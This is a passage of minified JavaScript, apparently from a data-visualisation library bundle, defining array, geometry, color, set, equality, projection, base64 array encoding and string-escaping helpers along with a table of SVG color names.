n=[],r=3;r<arguments.length;r++)n[r-3]=arguments[r];var o=t.length;e<0&&(e+=o),e<0?e=0:o<e&&(e=o),null==i||o-e<i?i=o-e:i<0&&(i=0);for(var s=o-i+n.length,a=new t.constructor(s),l=0;l<e;l++)a[l]=t[l];for(var h=0,u=n;h<u.length;h++){var c=u[h];a[l++]=c}for(var _=e+i;_<o;_++)a[l++]=t[_];return a}i.splice=n,i.insert=function(t,e,i){return n(t,i,0,e)},i.append=function(t,e){return n(t,t.length,0,e)},i.prepend=function(t,e){return n(t,0,0,e)},i.indexOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i;return-1},i.map=function(t,e){for(var i=t.length,n=new t.constructor(i),r=0;r<i;r++)n[r]=e(t[r],r,t);return n},i.min=function(t){for(var e,i=1/0,n=0,r=t.length;n<r;n++)(e=t[n])<i&&(i=e);return i},i.minBy=function(t,e){if(0==t.length)throw new Error(\\\"minBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);a<n&&(i=s,n=a)}return i},i.max=function(t){for(var e,i=-1/0,n=0,r=t.length;n<r;n++)e=t[n],i<e&&(i=e);return i},i.maxBy=function(t,e){if(0==t.length)throw new Error(\\\"maxBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);n<a&&(i=s,n=a)}return i},i.sum=function(t){for(var e=0,i=0,n=t.length;i<n;i++)e+=t[i];return e}},function(t,e,i){var n=t(391),r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(Error);i.AssertionError=r,i.assert=function(t,e){if(!(!0===t||!1!==t&&t()))throw new r(e||\\\"Assertion failed\\\")}},function(t,e,i){var n=Math.min,r=Math.max;i.empty=function(){return{minX:1/0,minY:1/0,maxX:-1/0,maxY:-1/0}},i.positive_x=function(){return{minX:Number.MIN_VALUE,minY:-1/0,maxX:1/0,maxY:1/0}},i.positive_y=function(){return{minX:-1/0,minY:Number.MIN_VALUE,maxX:1/0,maxY:1/0}},i.union=function(t,e){return{minX:n(t.minX,e.minX),maxX:r(t.maxX,e.maxX),minY:n(t.minY,e.minY),maxY:r(t.maxY,e.maxY)}};var o=function(){function e(t){if(\\\"x0\\\"in t&&\\\"y0\\\"in t&&\\\"x1\\\"in t&&\\\"y1\\\"in t){var e=t,i=e.x0,n=e.y0,r=e.x1,o=e.y1;if(!(i<=r&&n<=o))throw new Error(\\\"invalid bbox {x0: \\\"+i+\\\", y0: \\\"+n+\\\", x1: \\\"+r+\\\", y1: \\\"+o+\\\"}\\\");this.x0=i,this.y0=n,this.x1=r,this.y1=o}else{var s=t,a=s.x,l=s.y,h=s.width,u=s.height;if(!(0<=h&&0<=u))throw new Error(\\\"invalid bbox {x: \\\"+a+\\\", y: \\\"+l+\\\", width: \\\"+h+\\\", height: \\\"+u+\\\"}\\\");this.x0=a,this.y0=l,this.x1=a+h,this.y1=l+u}}return Object.defineProperty(e.prototype,\\\"minX\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"minY\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxX\\\",{get:function(){return this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxY\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"left\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"top\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"right\\\",{get:function(){return this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"bottom\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p0\\\",{get:function(){return[this.x0,this.y0]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p1\\\",{get:function(){return[this.x1,this.y1]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"x\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"y\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"width\\\",{get:function(){return this.x1-this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"height\\\",{get:function(){return this.y1-this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"rect\\\",{get:function(){return{x:this.x,y:this.y,width:this.width,height:this.height}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"h_range\\\",{get:function(){return{start:this.x0,end:this.x1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"v_range\\\",{get:function(){return{start:this.y0,end:this.y1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"ranges\\\",{get:function(){return[this.h_range,this.v_range]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"aspect\\\",{get:function(){return this.width/this.height},enumerable:!0,configurable:!0}),e.prototype.contains=function(t,e){return t>=this.x0&&t<=this.x1&&e>=this.y0&&e<=this.y1},e.prototype.clip=function(t,e){return t<this.x0?t=this.x0:t>this.x1&&(t=this.x1),e<this.y0?e=this.y0:e>this.y1&&(e=this.y1),[t,e]},e.prototype.union=function(t){return new e({x0:n(this.x0,t.x0),y0:n(this.y0,t.y0),x1:r(this.x1,t.x1),y1:r(this.y1,t.y1)})},e}();i.BBox=o},function(t,e,i){i.delay=function(t,e){return setTimeout(t,e)};var n=\\\"function\\\"==typeof requestAnimationFrame?requestAnimationFrame:setImmediate;i.defer=function(t){return n(t)},i.throttle=function(i,n,r){void 0===r&&(r={});var o,s,a,l=null,h=0,u=function(){h=!1===r.leading?0:Date.now(),l=null,a=i.apply(o,s),l||(o=s=null)};return function(){var t=Date.now();h||!1!==r.leading||(h=t);var e=n-(t-h);return o=this,s=arguments,e<=0||n<e?(l&&(clearTimeout(l),l=null),h=t,a=i.apply(o,s),l||(o=s=null)):l||!1===r.trailing||(l=setTimeout(u,e)),a}},i.once=function(t){var e,i=!1;return function(){return i||(i=!0,e=t()),e}}},function(t,e,i){var n=t(287);i.SVGRenderingContext2D=n,i.fixup_ctx=function(t){var e,c,i,n,r;(e=t).setLineDash||(e.setLineDash=function(t){e.mozDash=t,e.webkitLineDash=t}),e.getLineDash||(e.getLineDash=function(){return e.mozDash}),(r=t).setLineDashOffset=function(t){r.lineDashOffset=t,r.mozDashOffset=t,r.webkitLineDashOffset=t},r.getLineDashOffset=function(){return r.mozDashOffset},(n=t).setImageSmoothingEnabled=function(t){n.imageSmoothingEnabled=t,n.mozImageSmoothingEnabled=t,n.oImageSmoothingEnabled=t,n.webkitImageSmoothingEnabled=t,n.msImageSmoothingEnabled=t},n.getImageSmoothingEnabled=function(){var t=n.imageSmoothingEnabled;return null==t||t},(i=t).measureText&&null==i.html5MeasureText&&(i.html5MeasureText=i.measureText,i.measureText=function(t){var e=i.html5MeasureText(t);return e.ascent=1.6*i.html5MeasureText(\\\"m\\\").width,e}),(c=t).ellipse||(c.ellipse=function(t,e,i,n,r,o,s,a){void 0===a&&(a=!1);var l=.551784;c.translate(t,e),c.rotate(r);var h=i,u=n;a&&(h=-i,u=-n),c.moveTo(-h,0),c.bezierCurveTo(-h,u*l,-h*l,u,0,u),c.bezierCurveTo(h*l,u,h,u*l,h,0),c.bezierCurveTo(h,-u*l,h*l,-u,0,-u),c.bezierCurveTo(-h*l,-u,-h,-u*l,-h,0),c.rotate(-r),c.translate(-t,-e)})},i.get_scale_ratio=function(t,e,i){if(\\\"svg\\\"==i)return 1;if(e){var n=window.devicePixelRatio||1,r=t.webkitBackingStorePixelRatio||t.mozBackingStorePixelRatio||t.msBackingStorePixelRatio||t.oBackingStorePixelRatio||t.backingStorePixelRatio||1;return n/r}return 1}},function(t,e,i){var n=t(39),r=t(21);function o(t){var e=Number(t).toString(16);return 1==e.length?\\\"0\\\"+e:e}function s(t){if(0==(t+=\\\"\\\").indexOf(\\\"#\\\"))return t;if(n.is_svg_color(t))return n.svg_colors[t];if(0==t.indexOf(\\\"rgb\\\")){var e=t.replace(/^rgba?\\\\(|\\\\s+|\\\\)$/g,\\\"\\\").split(\\\",\\\"),i=e.slice(0,3).map(o).join(\\\"\\\");return 4==e.length&&(i+=o(Math.floor(255*parseFloat(e[3])))),\\\"#\\\"+i.slice(0,8)}return t}i.color2hex=s,i.color2rgba=function(t,e){if(void 0===e&&(e=1),!t)return[0,0,0,0];var i=s(t);(i=i.replace(/ |#/g,\\\"\\\")).length<=4&&(i=i.replace(/(.)/g,\\\"$1$1\\\"));for(var n=i.match(/../g).map(function(t){return parseInt(t,16)/255});n.length<3;)n.push(0);return n.length<4&&n.push(e),n.slice(0,4)},i.valid_rgb=function(t){var e;switch(t.substring(0,4)){case\\\"rgba\\\":e={start:\\\"rgba(\\\",len:4,alpha:!0};break;case\\\"rgb(\\\":e={start:\\\"rgb(\\\",len:3,alpha:!1};break;default:return!1}if(new RegExp(\\\".*?(\\\\\\\\.).*(,)\\\").test(t))throw new Error(\\\"color expects integers for rgb in rgb/rgba tuple, received \\\"+t);var i=t.replace(e.start,\\\"\\\").replace(\\\")\\\",\\\"\\\").split(\\\",\\\").map(parseFloat);if(i.length!=e.len)throw new Error(\\\"color expects rgba \\\"+e.len+\\\"-tuple, received \\\"+t);if(e.alpha&&!(0<=i[3]&&i[3]<=1))throw new Error(\\\"color expects rgba 4-tuple to have alpha value between 0 and 1\\\");if(r.includes(i.slice(0,3).map(function(t){return 0<=t&&t<=255}),!1))throw new Error(\\\"color expects rgb to have value between 0 and 255\\\");return!0}},function(t,e,i){i.is_ie=0<=navigator.userAgent.indexOf(\\\"MSIE\\\")||0<navigator.userAgent.indexOf(\\\"Trident\\\")||0<navigator.userAgent.indexOf(\\\"Edge\\\"),i.is_little_endian=function(){var t=new ArrayBuffer(4),e=new Uint8Array(t),i=new Uint32Array(t);i[1]=168496141;var n=!0;return 10==e[4]&&11==e[5]&&12==e[6]&&13==e[7]&&(n=!1),n}()},function(t,e,i){var r=t(21),o=t(30),s=t(44),n=function(){function t(){this._dict={}}return t.prototype._existing=function(t){return t in this._dict?this._dict[t]:null},t.prototype.add_value=function(t,e){var i=this._existing(t);null==i?this._dict[t]=e:s.isArray(i)?i.push(e):this._dict[t]=[i,e]},t.prototype.remove_value=function(t,e){var i=this._existing(t);if(s.isArray(i)){var n=r.difference(i,[e]);0<n.length?this._dict[t]=n:delete this._dict[t]}else o.isEqual(i,e)&&delete this._dict[t]},t.prototype.get_one=function(t,e){var i=this._existing(t);if(s.isArray(i)){if(1===i.length)return i[0];throw new Error(e)}return i},t}();i.MultiDict=n;var a=function(){function o(t){if(null==t)this._values=[];else if(t instanceof o)this._values=r.copy(t._values);else{this._values=[];for(var e=0,i=t;e<i.length;e++){var n=i[e];this.add(n)}}}return Object.defineProperty(o.prototype,\\\"values\\\",{get:function(){return r.copy(this._values).sort()},enumerable:!0,configurable:!0}),o.prototype.toString=function(){return\\\"Set([\\\"+this.values.join(\\\",\\\")+\\\"])\\\"},Object.defineProperty(o.prototype,\\\"size\\\",{get:function(){return this._values.length},enumerable:!0,configurable:!0}),o.prototype.has=function(t){return-1!==this._values.indexOf(t)},o.prototype.add=function(t){this.has(t)||this._values.push(t)},o.prototype.remove=function(t){var e=this._values.indexOf(t);-1!==e&&this._values.splice(e,1)},o.prototype.toggle=function(t){var e=this._values.indexOf(t);-1===e?this._values.push(t):this._values.splice(e,1)},o.prototype.clear=function(){this._values=[]},o.prototype.union=function(t){return t=new o(t),new o(this._values.concat(t._values))},o.prototype.intersect=function(t){t=new o(t);for(var e=new o,i=0,n=t._values;i<n.length;i++){var r=n[i];this.has(r)&&t.has(r)&&e.add(r)}return e},o.prototype.diff=function(t){t=new o(t);for(var e=new o,i=0,n=this._values;i<n.length;i++){var r=n[i];t.has(r)||e.add(r)}return e},o.prototype.forEach=function(t,e){for(var i=0,n=this._values;i<n.length;i++){var r=n[i];t.call(e||this,r,r,this)}},o}();i.Set=a},function(t,e,i){var _=t(44),p=Object.prototype.toString;i.isEqual=function(t,e){return function t(e,i,n,r){if(e===i)return 0!==e||1/e==1/i;if(null==e||null==i)return e===i;var o=p.call(e);if(o!==p.call(i))return!1;switch(o){case\\\"[object RegExp]\\\":case\\\"[object String]\\\":return\\\"\\\"+e==\\\"\\\"+i;case\\\"[object Number]\\\":return+e!=+e?+i!=+i:0==+e?1/+e==1/i:+e==+i;case\\\"[object Date]\\\":case\\\"[object Boolean]\\\":return+e==+i}var s=\\\"[object Array]\\\"===o;if(!s){if(\\\"object\\\"!=typeof e||\\\"object\\\"!=typeof i)return!1;var a=e.constructor,l=i.constructor;if(a!==l&&!(_.isFunction(a)&&a instanceof a&&_.isFunction(l)&&l instanceof l)&&\\\"constructor\\\"in e&&\\\"constructor\\\"in i)return!1}r=r||[];for(var h=(n=n||[]).length;h--;)if(n[h]===e)return r[h]===i;if(n.push(e),r.push(i),s){if((h=e.length)!==i.length)return!1;for(;h--;)if(!t(e[h],i[h],n,r))return!1}else{var u=Object.keys(e),c=void 0;if(h=u.length,Object.keys(i).length!==h)return!1;for(;h--;)if(c=u[h],!i.hasOwnProperty(c)||!t(e[c],i[c],n,r))return!1}return n.pop(),r.pop(),!0}(t,e)}},function(t,e,i){function a(t){for(;t<0;)t+=2*Math.PI;for(;t>2*Math.PI;)t-=2*Math.PI;return t}function l(t,e){return Math.abs(a(t-e))}function o(){return Math.random()}i.angle_norm=a,i.angle_dist=l,i.angle_between=function(t,e,i,n){var r=a(t),o=l(e,i),s=l(e,r)<=o&&l(r,i)<=o;return 1==n?!s:s},i.random=o,i.randomIn=function(t,e){return null==e&&(e=t,t=0),t+Math.floor(Math.random()*(e-t+1))},i.atan2=function(t,e){return Math.atan2(e[1]-t[1],e[0]-t[0])},i.rnorm=function(t,e){for(var i,n;i=o(),n=(2*(n=o())-1)*Math.sqrt(1/Math.E*2),!(-4*i*i*Math.log(i)>=n*n););var r=n/i;return r=t+e*r},i.clamp=function(t,e,i){return i<t?i:t<e?e:t}},function(t,e,i){var n=t(391),h=t(21);function r(t,e){return n.__assign(t,e)}function o(t){return Object.keys(t).length}i.keys=Object.keys,i.values=function(t){for(var e=Object.keys(t),i=e.length,n=new Array(i),r=0;r<i;r++)n[r]=t[e[r]];return n},i.extend=r,i.clone=function(t){return r({},t)},i.merge=function(t,e){for(var i=Object.create(Object.prototype),n=h.concat([Object.keys(t),Object.keys(e)]),r=0,o=n;r<o.length;r++){var s=o[r],a=t.hasOwnProperty(s)?t[s]:[],l=e.hasOwnProperty(s)?e[s]:[];i[s]=h.union(a,l)}return i},i.size=o,i.isEmpty=function(t){return 0===o(t)}},function(t,e,h){var i=t(374),n=t(362),r=new n(\\\"GOOGLE\\\"),o=new n(\\\"WGS84\\\");h.wgs84_mercator=i(o,r);var s={lon:[-20026376.39,20026376.39],lat:[-20048966.1,20048966.1]},a={lon:[-180,180],lat:[-85.06,85.06]};function u(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=h.wgs84_mercator.forward([t[o],e[o]]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}h.clip_mercator=function(t,e,i){var n=s[i],r=n[0],o=n[1];return[Math.max(t,r),Math.min(e,o)]},h.in_bounds=function(t,e){return t>a[e][0]&&t<a[e][1]},h.project_xy=u,h.project_xsys=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=u(t[o],e[o]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}},function(t,e,i){var n=t(44);i.create_ref=function(t){var e={type:t.type,id:t.id};return null!=t._subtype&&(e.subtype=t._subtype),e},i.is_ref=function(t){if(n.isObject(t)){var e=Object.keys(t).sort();if(2==e.length)return\\\"id\\\"==e[0]&&\\\"type\\\"==e[1];if(3==e.length)return\\\"id\\\"==e[0]&&\\\"subtype\\\"==e[1]&&\\\"type\\\"==e[2]}return!1}},function(t,e,i){i.get_indices=function(t){var e=t.selected;return e[\\\"0d\\\"].glyph?e[\\\"0d\\\"].indices:0<e[\\\"1d\\\"].indices.length?e[\\\"1d\\\"].indices:0<e[\\\"2d\\\"].indices.length?e[\\\"2d\\\"].indices:[]}},function(t,e,u){var _=t(44),i=t(28);function c(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,2*t.length),i=0,n=e.length;i<n;i+=2){var r=e[i];e[i]=e[i+1],e[i+1]=r}}function p(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,4*t.length),i=0,n=e.length;i<n;i+=4){var r=e[i];e[i]=e[i+3],e[i+3]=r,r=e[i+1],e[i+1]=e[i+2],e[i+2]=r}}function d(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,8*t.length),i=0,n=e.length;i<n;i+=8){var r=e[i];e[i]=e[i+7],e[i+7]=r,r=e[i+1],e[i+1]=e[i+6],e[i+6]=r,r=e[i+2],e[i+2]=e[i+5],e[i+5]=r,r=e[i+3],e[i+3]=e[i+4],e[i+4]=r}}function n(t,e){for(var i=t.order!==u.BYTE_ORDER,n=t.shape,r=null,o=0,s=e;o<s.length;o++){var a=s[o],l=JSON.parse(a[0]);if(l.id===t.__buffer__){r=a[1];break}}var h=new u.ARRAY_TYPES[t.dtype](r);return i&&(2===h.BYTES_PER_ELEMENT?c(h):4===h.BYTES_PER_ELEMENT?p(h):8===h.BYTES_PER_ELEMENT&&d(h)),[h,n]}function f(t,e){return _.isObject(t)&&\\\"__ndarray__\\\"in t?o(t):_.isObject(t)&&\\\"__buffer__\\\"in t?n(t,e):_.isArray(t)||_.isTypedArray(t)?[t,[]]:void 0}function s(t){var e=new Uint8Array(t),i=Array.from(e).map(function(t){return String.fromCharCode(t)});return btoa(i.join(\\\"\\\"))}function r(t){for(var e=atob(t),i=e.length,n=new Uint8Array(i),r=0,o=i;r<o;r++)n[r]=e.charCodeAt(r);return n.buffer}function o(t){var e=r(t.__ndarray__),i=t.dtype,n=t.shape;if(!(i in u.ARRAY_TYPES))throw new Error(\\\"unknown dtype: \\\"+i);return[new u.ARRAY_TYPES[i](e),n]}function a(t,e){var i,n=s(t.buffer),r=function(t){if(\\\"name\\\"in t.constructor)return t.constructor.name;switch(!0){case t instanceof Uint8Array:return\\\"Uint8Array\\\";case t instanceof Int8Array:return\\\"Int8Array\\\";case t instanceof Uint16Array:return\\\"Uint16Array\\\";case t instanceof Int16Array:return\\\"Int16Array\\\";case t instanceof Uint32Array:return\\\"Uint32Array\\\";case t instanceof Int32Array:return\\\"Int32Array\\\";case t instanceof Float32Array:return\\\"Float32Array\\\";case t instanceof Float64Array:return\\\"Float64Array\\\";default:throw new Error(\\\"unsupported typed array\\\")}}(t);if(!(r in u.DTYPES))throw new Error(\\\"unknown array type: \\\"+r);i=u.DTYPES[r];var o={__ndarray__:n,shape:e,dtype:i};return o}function v(t,e){if(0==t.length||!_.isObject(t[0])&&!_.isArray(t[0]))return[t,[]];for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=_.isArray(s)?v(s,e):f(s,e),l=a[0],h=a[1];i.push(l),n.push(h)}var u=n.map(function(t){return t.filter(function(t){return 0!=t.length})});return[i,u]}function l(t,e){for(var i=[],n=0,r=t.length;n<r;n++){var o=t[n];if(_.isTypedArray(o)){var s=e[n]?e[n]:void 0;i.push(a(o,s))}else _.isArray(o)?i.push(l(o,e?e[n]:[])):i.push(o)}return i}u.ARRAY_TYPES={uint8:Uint8Array,int8:Int8Array,uint16:Uint16Array,int16:Int16Array,uint32:Uint32Array,int32:Int32Array,float32:Float32Array,float64:Float64Array},u.DTYPES={Uint8Array:\\\"uint8\\\",Int8Array:\\\"int8\\\",Uint16Array:\\\"uint16\\\",Int16Array:\\\"int16\\\",Uint32Array:\\\"uint32\\\",Int32Array:\\\"int32\\\",Float32Array:\\\"float32\\\",Float64Array:\\\"float64\\\"},u.BYTE_ORDER=i.is_little_endian?\\\"little\\\":\\\"big\\\",u.swap16=c,u.swap32=p,u.swap64=d,u.process_buffer=n,u.process_array=f,u.arrayBufferToBase64=s,u.base64ToArrayBuffer=r,u.decode_base64=o,u.encode_base64=a,u.decode_column_data=function(t,e){void 0===e&&(e=[]);var i={},n={};for(var r in t){var o=t[r];if(_.isArray(o)){if(0==o.length||!_.isObject(o[0])&&!_.isArray(o[0])){i[r]=o;continue}var s=v(o,e),a=s[0],l=s[1];i[r]=a,n[r]=l}else{var h=f(o,e),u=h[0],c=h[1];i[r]=u,n[r]=c}}return[i,n]},u.encode_column_data=function(t,e){var i={};for(var n in t){var r=t[n],o=null!=e?e[n]:void 0,s=void 0;s=_.isTypedArray(r)?a(r,o):_.isArray(r)?l(r,o||[]):r,i[n]=s}return i}},function(t,e,i){var l=t(346),o=t(24),n=function(){function t(t){if(this.points=t,this.index=null,0<t.length){this.index=new l(t.length);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n.minX,o=n.minY,s=n.maxX,a=n.maxY;this.index.add(r,o,s,a)}this.index.finish()}}return Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){if(null==this.index)return o.empty();var t=this.index,e=t.minX,i=t.minY,n=t.maxX,r=t.maxY;return{minX:e,minY:i,maxX:n,maxY:r}},enumerable:!0,configurable:!0}),t.prototype.search=function(t){var e=this;if(null==this.index)return[];var i=t.minX,n=t.minY,r=t.maxX,o=t.maxY,s=this.index.search(i,n,r,o);return s.map(function(t){return e.points[t]})},t.prototype.indices=function(t){return this.search(t).map(function(t){var e=t.i;return e})},t}();i.SpatialIndex=n},function(t,e,i){var n=t(18);function r(){for(var t=new Array(32),e=\\\"0123456789ABCDEF\\\",i=0;i<32;i++)t[i]=e.substr(Math.floor(16*Math.random()),1);return t[12]=\\\"4\\\",t[16]=e.substr(3&t[16].charCodeAt(0)|8,1),t.join(\\\"\\\")}i.startsWith=function(t,e,i){return void 0===i&&(i=0),t.substr(i,e.length)==e},i.uuid4=r;var o=1e3;i.uniqueId=function(t){var e=n.settings.dev?\\\"j\\\"+o++:r();return null!=t?t+\\\"-\\\"+e:e},i.escape=function(t){return t.replace(/(?:[&<>\\\"'`])/g,function(t){switch(t){case\\\"&\\\":return\\\"&amp;\\\";case\\\"<\\\":return\\\"&lt;\\\";case\\\">\\\":return\\\"&gt;\\\";case'\\\"':return\\\"&quot;\\\";case\\\"'\\\":return\\\"&#x27;\\\";case\\\"`\\\":return\\\"&#x60;\\\";default:return t}})},i.unescape=function(t){return t.replace(/&(amp|lt|gt|quot|#x27|#x60);/g,function(t,e){switch(e){case\\\"amp\\\":return\\\"&\\\";case\\\"lt\\\":return\\\"<\\\";case\\\"gt\\\":return\\\">\\\";case\\\"quot\\\":return'\\\"';case\\\"#x27\\\":return\\\"'\\\";case\\\"#x60\\\":return\\\"`\\\";default:return e}})},i.use_strict=function(t){return\\\"'use strict';\\\\n\\\"+t}},function(t,e,i){i.svg_colors={indianred:\\\"#CD5C5C\\\",lightcoral:\\\"#F08080\\\",salmon:\\\"#FA8072\\\",darksalmon:\\\"#E9967A\\\",lightsalmon:\\\"#FFA07A\\\",crimson:\\\"#DC143C\\\",red:\\\"#FF0000\\\",firebrick:\\\"#B22222\\\",darkred:\\\"#8B0000\\\",pink:\\\"#FFC0CB\\\",lightpink:\\\"#FFB6C1\\\",hotpink:\\\"#FF69B4\\\",deeppink:\\\"#FF1493\\\",mediumvioletred:\\\"#C71585\\\",palevioletred:\\\"#DB7093\\\",coral:\\\"#FF7F50\\\",tomato:\\\"#FF6347\\\",orangered:\\\"#FF4500\\\",darkorange:\\\"#FF8C00\\\",orange:\\\"#FFA500\\\",gold:\\\"#FFD700\\\",yellow:\\\"#FFFF00\\\",lightyellow:\\\"#FFFFE0\\\",lemonchiffon:\\\"#FFFACD\\\",lightgoldenrodyellow:\\\"#FAFAD2\\\",papayawhip:\\\"#FFEFD5\\\",moccasin:\\\"#FFE4B5\\\",peachpuff:\\\"#FFDAB9\\\",palegoldenrod:\\\"#EEE8AA\\\",khaki:\\\"#F0E68C\\\",darkkhaki:\\\"#BDB76B\\\",lavender:\\\"#E6E6FA\\\",thistle:\\\"#D8BFD8\\\",plum:\\\"#DDA0DD\\\",violet:\\\"#EE82EE\\\",orchid:\\\"#DA70D6\\\",fuchsia:\\\"#FF00FF\\\",magenta:\\\"#FF00FF\\\",mediumorchid:\\\"#BA55D3\\\",mediumpurple:\\\"#9370DB\\\",blueviolet:\\\"#8A2BE2\\\",darkviolet:\\\"#9400D3\\\",darkorchid:\\\"#9932CC\\\",darkmagenta:\\\"#8B008B\\\",purple:\\\"#800080\\\",indigo:\\\"#4B0082\\\",slateblue:\\\"#6A5ACD\\\",darkslateblue:\\\"#483D8B\\\",mediumslateblue:\\\"#7B68EE\\\",greenyellow:\\\"#ADFF2F\\\",chartreuse:\\\"#7FFF00\\\",lawngreen:\\\"#7CFC00\\\",lime:\\\"#00FF00\\\",limegreen:\\\"#32CD32\\\",palegreen:\\\"#98FB98\\\",lightgreen:\\\"#90EE90\\\",mediumspringgreen:\\\"#00FA9A\\\",springgreen:\\\"#00FF7F\\\",mediumseagreen:\\\"#3CB371\\\",seagreen:\\\"#2E8B57\\\",forestgreen:\\\"#228B22\\\",green:\\\"#008000\\\",darkgreen:\\\"#006400\\\",yellowgreen:\\\"#9ACD32\\\",olivedrab:\\\"#6B8E23\\\",olive:\\\"#808000\\\",darkolivegreen:\\\"#556B2F\\\",mediumaquamarine:\\\"#66CDAA\\\",darkseagreen:\\\"#8FBC8F\\\",lightseagreen:\\\"#20B2AA\\\",darkcyan:\\\"#008B8B\\\",teal:\\\"#008080\\\",aqua:\\\"#00FFFF\\\",cyan:\\\"#00FFFF\\\",lightcyan:\\\"#E0FFFF\\\",paleturquoise:\\\"#AFEEEE\\\",aquamarine:\\\"#7FFFD4\\\",turquoise:\\\"#40E0D0\\\",mediumturquoise:\\\"#48D1CC\\\",darkturquoise:\\\"#00CED1\\\",cadetblue:\\\"#5F9EA0\\\",steelblue:\\\"#4682B4\\\",lightsteelblue:\\\"#B0C4DE\\\",powderblue:\\\"#B0E0E6\\\",lightblue:\\\"#ADD8E6\\\",skyblue:\\\"#87CEEB\\\",lightskyblue:\\\"#87CEFA\\\",deepskyblue:\\\"#00BFFF\\\",dodgerblue:\\\"#1E90FF\\\",cornflowerblue:\\\"#6495ED\\\",royalblue:\\\"#4169E1\\\",blue:\\\"#0000FF\\\",mediumblue:\\\"#0000CD\\\",darkblue:\\\"#00008B\\\",navy:\\\"#000080\\\",midnightblue:\\\"#191970\\\",cornsilk:\\\"#FFF8DC\\\",blanchedalmond:\\\"#FFEBCD\\\",bisque:\\\"#FFE4C4\\\",navajowhite:\\\"#FFDEAD\\\",wheat:\\\"#F5DEB3\\\",burlywood:\\\"#DEB887\\\",tan:\\\"#D2B48C\\\",rosybrown:\\\"#BC8F8F\\\",sandybrown:\\\"#F4A460\\\",goldenrod:\\\"#DAA520\\\",darkgoldenrod:\\\"#B8860B\\\",peru:\\\"#CD853F\\\",chocolate:\\\"#D2691E\\\",saddlebrown:\\\"#8B4513\\\",sienna:\\\"#A0522D\\\",brown:\\\"#A52A2A\\\",maroon:\\\"#800000\\\",white:\\\"#FFFFFF\\\",snow:\\\"#FFFAFA\\\",honeydew:\\\"#F0FFF0\\\",mintcream:\\\"#F5FFFA\\\",azure:\\\"#F0FFFF\\\",aliceblue:\\\"#F0F8FF\\\",ghostwhite:\\\"#F8F8FF\\\",whitesmoke:\\\"#F5F5F5\\\",seashell:\\\"#FFF5EE\\\",beige:\\\"#F5F5DC\\\",oldlace:\\\"#FDF5E6\\\",floralwhite:\\\"#FFFAF0\\\",ivory:\\\"#FFFFF0\\\",antiquewhite:\\\"#FAEBD7\\\",linen:\\\"#FAF0E6\\\",lavenderblush:\\\"#FFF0F5\\\",mistyrose:\\\"#FFE4E1\\\",gainsboro:\\\"#DCDCDC\\\",lightgray:\\\"#D3D3D3\\\",lightgrey:\\\"#D3D3D3\\\",silver:\\\"#C0C0C0\\\",darkgray:\\\"#A9A9A9\\\",darkgrey:\\\"#A9A9A9\\\",gray:\\\"#808080\\\",grey:\\\"#808080\\\",dimgray:\\\"#696969\\\",dimgrey:\\\"#696969\\\",lightslategray:\\\"#778899\\\",lightslategrey:\\\"#778899\\\",slategray:\\\"#708090\\\",slategrey:\\\"#708090\\\",darkslategray:\\\"#2F4F4F\\\",darkslategrey:\\\"#2F4F4F\\\",black:\\\"#000000\\\"},i.is_svg_color=function(t){return t in i.svg_colors}},function(t,e,s){var r=t(389),n=t(361),o=t(390),_=t(38),a=t(44);function l(t,e,i){if(a.isNumber(t)){var n=function(){switch(!1){case Math.floor(t)!=t:return\\\"%d\\\";case!(.1<Math.abs(t)&&Math.abs(t)<1e3):return\\\"%0.3f\\\";default:return\\\"%0.3e\\\"}}();return r.sprintf(n,t)}return\\\"\\\"+t}function p(t,e,i,n){if(null==i)return l;if(null!=n&&(t in n||e in n)){var r=e in n?e:t,o=n[r];if(a.isString(o)){if(o in s.DEFAULT_FORMATTERS)return s.DEFAULT_FORMATTERS[o];throw new Error(\\\"Unknown tooltip field formatter type '\\\"+o+\\\"'\\\")}return function(t,e,i){return o.format(t,e,i)}}return s.DEFAULT_FORMATTERS.numeral}function d(t,e,i,n){if(\\\"$\\\"==t[0]){if(t.substring(1)in n)return n[t.substring(1)];throw new Error(\\\"Unknown special variable '\\\"+t+\\\"'\\\")}var r=e.get_column(t);if(null==r)return null;if(a.isNumber(i))return r[i];var 